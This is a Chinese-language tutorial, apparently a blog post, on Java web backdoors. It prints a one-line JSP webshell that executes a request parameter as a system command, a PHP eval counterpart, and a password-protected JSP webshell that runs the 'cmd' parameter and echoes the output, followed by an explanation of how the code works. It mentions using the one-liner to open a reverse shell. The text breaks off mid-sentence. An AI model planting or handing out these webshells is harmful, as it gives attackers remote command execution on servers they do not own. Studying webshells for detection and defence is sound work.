文章目录
Java Web后门
Java 是强类型语言,不能够像 PHP 那样利用字符串组合当作系统函数使用
Java 中常用的命令执行函数
- java.lang.Runtime.exec()
- java.lang.ProcessBuilder.start()
一句话木马
最简单的 jsp 一句话木马
<% Runtime.getRuntime().exec(request.getParameter("i"));%>
其实这就和 PHP 的一句话一样
<?PHP eval($GET_['i']);?>
但是 jsp 一句话没有回显,无法看到返回的信息,通常用来反弹 shell,下面的代码是一个有回显并且需要密码验证的 jsp 木马
<%
if ("ocean".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while ((a = in.read(b)) != -1) {
out.print(new String(b));
}
out.print("</pre>");
}
%>
Runtime
类封装了运行时的环境。每个 Java 应用程序都有一个 Runtime
类实例,使应用程序能够与其运行的环境相连接。使用 getRuntime()
构建 Runtime
类实例。 getRuntime()
返回与当前 Java 应用程序相关的运行时对象。获取实例后调用 exec()
方法执行系统命令
request
为 JSP 内置对象,getParameter()
方法获取请求参数 cmd
的值构建命令
其中:HTML里的 pre 标签,可定义预格式化的文本。在 pre 元素中的文本会保留空格和换行符。文本显现为等宽字体,经常会在要保持文本格式的时候使用 pre 标签,比如当我们要展示源代码的时候,只要放一个 pre 标签,然后把源代码直接复制,粘贴,然后在页面上就可以保持好格式。不会像放在其它标签里那样,把换行和空格都自动折叠了
执行效果如下
Windows 操作系统中可能会带来乱码问题,可以在文件头加上以下两句解决
<